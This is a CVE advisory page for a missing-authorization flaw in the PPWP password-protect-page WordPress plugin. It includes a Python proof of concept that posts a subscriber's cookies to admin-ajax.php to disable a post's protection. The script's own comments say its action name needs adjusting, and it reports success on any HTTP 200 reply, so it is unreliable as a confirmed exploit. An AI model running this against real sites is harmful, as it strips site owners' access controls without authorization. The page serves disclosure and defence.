CVE-2026-32562

Description

Missing Authorization vulnerability in WP Folio Team PPWP password-protect-page allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PPWP: from n/a through <= 1.9.15.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PPWP <= 1.9.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-32562
# This script demonstrates the missing authorization vulnerability.
# An attacker with a low-privilege account (e.g., Subscriber) can access restricted functionality.

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"

# Attacker's cookies (low-privilege user)
cookies = {
    "wordpress_logged_in_...": "attacker_cookie_value"
}

# Payload to exploit the missing authorization check
# Adjust the 'action' and parameters based on the vulnerable endpoint
payload = {
    "action": "ppwp_update_protection",
    "post_id": "1",
    "protection_status": "0"
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies)
    if response.status_code == 200:
        print("[+] Exploit successful! Action performed without proper authorization.")
        print("[+] Server response:", response.text)
    else:
        print("[-] Exploit failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32562
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32562
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32562/
[4] VulDB https://vuldb.com/cve/CVE-2026-32562
[5] https://patchstack.com/database/Wordpress/Plugin/password-protect-page/vulnerability/wordpress-ppwp-plugin-1-9-15-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

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